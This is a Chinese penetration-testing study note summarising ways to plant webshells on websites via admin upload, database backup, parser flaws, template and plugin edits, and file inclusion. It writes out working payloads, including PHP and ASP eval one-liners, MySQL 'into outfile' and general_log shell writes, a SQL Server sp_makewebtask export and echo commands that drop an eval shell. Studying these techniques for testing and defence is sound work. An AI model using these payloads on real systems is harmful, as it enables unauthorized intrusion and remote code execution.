渗透测试学习 二十二、getshell总结
大纲
管理员权限拿shell
普通权限拿shell
常见cms拿shell
进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外)。
管理员权限拿shell
需要有管理员权限才可以拿shell
通常需要登录后台执行相关操作
直接上传拿shell
国内多对上传类型进行了限制,需要在进行绕过操作
示例:织梦后台查找(改过之后的)
Google intext:powerd by DedeCMSV57_UTD8_SP2
DEDECMS V5.7
拿到织梦后台,基本就拿到了shell
文件式管理器->可修改网站脚本内容,也可以上传脚本
若遇见文件权限问题,可以修改文件名为../往上级目录翻
数据库备份拿shell
网站上传的文件后缀名进行过滤,不允许上传脚本类型文件,如asp,php,jsp,aspx等,二网站具有数据库备份的功能,这时我们可以将webshell格式先改为可上传的格式,然后,将找到上传后的文件路径通过数据库备份,将文件备份为脚本格式。
示例:南方数据 v7.0 良精通用企业网站管理系统
有时会将系统管理中的按钮删除,但是功能是依旧存在的,(脚本文件名,数据库备份:Manage_backup.asp)可以在网站检查中,将其他连接的地址改为数据库备份的地址。阉割版的网站,常见于ecshop,wordpress,dedecms,aspcms,良精,帝国,南方,phpv9,科讯。可以本地下载完整的网站源码,自己搭建,对目标网站尝试修改拼接。
突破上传拿shell
本地js验证上传
服务器mime上传
服务器白名单上传
服务器黑名单上传
服务器filepath上传
双文件上传
%00截断上传
上传其他脚本类型拿shell
修改网站上传类型配置拿shell
有的网站在网站上传类型中限制了上传脚本类型文件,可以添加上传文件类型,如php,jsp,asp等拿shell
利用解析漏洞拿shell
1、IIS 5.x/6.0解析漏洞 目录解析,分号解析,畸形文件名解析
2、IIS 7.0/7.5,Nginx<8.03畸形文件名解析漏洞,php文件解析漏洞
3、Nginx<8.03空字节代码执行漏洞
4、Apache解析漏洞
利用编辑器漏洞拿shell
常见的编辑器有fckeditor,ewebeditor,cheditor
网站配置插马拿shell
通过找到网站默认配置,将一句话插入到网站配置中,可以事先下载网站源码,查看过滤规则,防止插马失败("%><%eval request(“abc”)%><%’)根据网站源码进行符号匹配。
通过编辑模板拿shell
1、通过对网站的模板进行编辑,写入一句话,然后生成脚本文件拿shell
2、通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿shell
示例:ecshop
模板管理——库项目管理——配送方式
写入php脚本验证:<?php phpinfo();?>
访问/myship.php发现执行了phpinfo,之后就可以写入一句话,菜刀连接。注意:有时在后面有”?>”时,不会成功,可以去掉再尝试一下。
数据库管理——SQL查询——输入”use mysql”让报错,爆出路径——select “<?php phpinfo();?>” into outfile ‘地址\\x.php’
注意:Windows中,斜杠要用两个反斜杠,Linux路径用单个斜杠
数据库管理——数据库备份——自定义备份(配合IIS6.0解析漏洞)创建用户(用户里面写入一句话)——放在ecs_users表中——备份——文件名为u.asp;.sql
上传插件拿shell
一些网站为了增加某些功能会在后台添加一些插件来实现,我们可以把木马添加到安装的插件中上传服务器拿shell,常见的有博客类网站dz论坛等
示例:WordPress-V4.2.2
搭建时要先创建数据库
phpstudy——mysql——create database wpp;
插件——已安装的插件——安装插件——下载一个正常的插件,将木马放在里面,一起上传,安装——找上传目录
数据库执行拿shell
可通过数据库执行命令导出一句话到网站根目录拿shell,access数据库导出一般需要利用解析漏洞xx.asp;.xml
sqlserver导出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(“cmd”))%>%27%27%27
mysql命令导出shell
create TABLE study (cmd text Not NULL);
insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);
select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;
drop TABLE IF EXISTS study;
或
use mysql;
create table x (packet text) type=MYISaM;
insert into x (packet) values(‘<pre><body><?php @system($_GET[“cmd”]);?></body></pre>’)
select x into outfile ‘d:\php\xx.php’
或
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’
1.进入phpmyadmin
2.知道网站路径
3.直接执行SQL语句导入shell
注:有时可能出现不允许直接导shell
解决方法:首页——变量——general lag 编辑——ON——general log file 编辑 D:\phpstudy\www\ba.php——SQL——一句话用引号引起来——执行——报错——生成日志,利用日志记录生成shell
4.不知道路径时——推理路径
首页——变量——mysql的集成环境路径——apache的路径也知道了——D:\phpstudy\Apache\conf\httpd.conf——找个数据库——创建表:
create table a(a text);
开外链
load data infile “D:/phpstudy/Apache/conf/httpd.conf” into table a;
导出SQL搜索documentroot
路径推理
D:/phpstudy/Apache/conf/httpd.conf 配置文件的路径,找网站根目录
Apache
/usr/local/mysql
/usr/local/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
ngnix
/usr/local/nginx/conf/nginx.conf
phpmyadmin一般在网站根目录下
当找不到配置文件时,可以读大文件,由于文件太大会报错,有可能会报出phpmyadmin的路径。
文件包含拿shell 多用于上传大马
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿shell
asp包含
1.<!--#include file=”123.jpg”-->
2.调用的文件必须和被调用的文件在同一目录,否则找不到
3.如果找不到,用下面的语句
<--#include virtual=”文件所在目录/123.jpg”-->
php包含
<?php include(“123.jpg”)?>
命令执行拿shell
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
^<^%eval request(“abc”)%^>^ >c:\1.php
普通用户前台拿shell
0day拿shell
IIS写权限拿shell
命令执行拿shell
通过注入漏洞拿shell
前台用户头像上传拿shell
strusts2拿shell
java反序列拿shell
渗透测试学习 二十二、getshell总结的更多相关文章
- kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败
按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道 ...
- 学习笔记:CentOS7学习之二十二: 结构化命令case和for、while循环
目录 学习笔记:CentOS7学习之二十二: 结构化命令case和for.while循环 22.1 流程控制语句:case 22.2 循环语句 22.1.2 for-do-done 22.3 whil ...
- python3.4学习笔记(二十二) python 在字符串里面插入指定分割符,将list中的字符转为数字
python3.4学习笔记(二十二) python 在字符串里面插入指定分割符,将list中的字符转为数字在字符串里面插入指定分割符的方法,先把字符串变成list然后用join方法变成字符串str=' ...
- python3.4学习笔记(十二) python正则表达式的使用,使用pyspider匹配输出带.html结尾的URL
python3.4学习笔记(十二) python正则表达式的使用,使用pyspider匹配输出带.html结尾的URL实战例子:使用pyspider匹配输出带.html结尾的URL:@config(a ...
- Go语言学习笔记十二: 范围(Range)
Go语言学习笔记十二: 范围(Range) rang这个关键字主要用来遍历数组,切片,通道或Map.在数组和切片中返回索引值,在Map中返回key. 这个特别像python的方式.不过写法上比较怪异使 ...
- Tensorflow深度学习之十二:基础图像处理之二
Tensorflow深度学习之十二:基础图像处理之二 from:https://blog.csdn.net/davincil/article/details/76598474 首先放出原始图像: ...
- (C/C++学习笔记) 二十二. 标准模板库
二十二. 标准模板库 ● STL基本介绍 标准模板库(STL, standard template library): C++提供的大量的函数模板(通用算法)和类模板. ※ 为什么我们一般不需要自己写 ...
- VMware vSphere 服务器虚拟化之二十二桌面虚拟化之创建View Composer链接克隆的虚拟桌面池
VMware vSphere 服务器虚拟化之二十二桌面虚拟化之创建View Composer链接克隆的虚拟桌面池 在上一节我们创建了完整克隆的自动专有桌面池,在创建过程比较缓慢,这次我们将学习创建Vi ...
- Senparc.Weixin.MP SDK 微信公众平台开发教程(二十二):如何安装 Nuget(dll) 后使用项目源代码调试
最近碰到开发者问:我使用 nuget 安装了 Senparc.Weixin SDK,但是有一些已经封装好的过程想要调试,我又不想直接附加源代码项目,这样就没有办法同步更新了,我应该怎么办? 这其实是一 ...
- Alink漫谈(二十二) :源码分析之聚类评估
Alink漫谈(二十二) :源码分析之聚类评估 目录 Alink漫谈(二十二) :源码分析之聚类评估 0x00 摘要 0x01 背景概念 1.1 什么是聚类 1.2 聚类分析的方法 1.3 聚类评估 ...
随机推荐
- How To Determine The Cause Of Lots Of Redo Generation Using LogMiner (Doc ID 300395.1)
How To Determine The Cause Of Lots Of Redo Generation Using LogMiner (Doc ID 300395.1) APPLIES TO: O ...
- sqliteman
2.安装文件 采用源码方式安装 可用下面地址自行下载 https://sourceforge.net/projects/sqliteman/files/sqliteman/1.2.2/ 3.安装 1) ...
- acwing 66. 两个链表的第一个公共结点
地址 https://www.acwing.com/problem/content/description/62/ 输入两个链表,找出它们的第一个公共结点. 当不存在公共节点时,返回空节点. 样例 给 ...
- SpringBoot(二十一)_使用xml
springboot使用xml 虽然springboot不提倡用xml,但是我们有可能也是会用到的 代码示例 1.创建一个配置文件在resources下,如下图所示 2.设置配置类 @Configur ...
- python第三次作业-mooc笔记
1.注册中国大学MOOC 2.选择北京理工大学嵩天老师的<Python网络爬虫与信息提取>MOOC课程3.学习完成第0周至第4周的课程内容,并完成各周作业 4.提供图片或网站显示的学习进度 ...
- SQL Server 约束的增删改
1. 非空约束 列的为空性决定表中的行是否可以包含空值.空置(NULL)不同于零(0)/空白或者长度为零的字符串(“”). (1)创建非空约束 create table orders ( docent ...
- 利用Python几行代码批量生成验证码
几行代码批量生成authCode 整体步骤: 1.创建图片 2.创建画笔 3.在图片上生成点 4.在图片上画线 5.在图片在画圆 6.在图片在写文本 7.在图片在生成指定字体的文本 代码奉上 #!/u ...
- 基于Django的Rest Framework框架的解析器
本文目录 一 解析器的作用 二 全局使用解析器 三 局部使用解析器 四 源码分析 回到目录 一 解析器的作用 根据请求头 content-type 选择对应的解析器对请求体内容进行处理. 有appli ...
- path()函数
path()函数具有以下四个参数 route 必须 view 必须 kwargs 可选 name 可选 route route是一个匹配URL的准则(类似正则表达式) 当Django响应一个请求时,它 ...
- 在windows系统上面部署springboot项目并设置其开机启动
前言 最近的项目需要在客户的服务器上面部署一个项目然后进行测试,服务器的系统是windows server2008的,以前部署的项目都是在linux系统上面居多,就算是在windows系统上面自己玩的 ...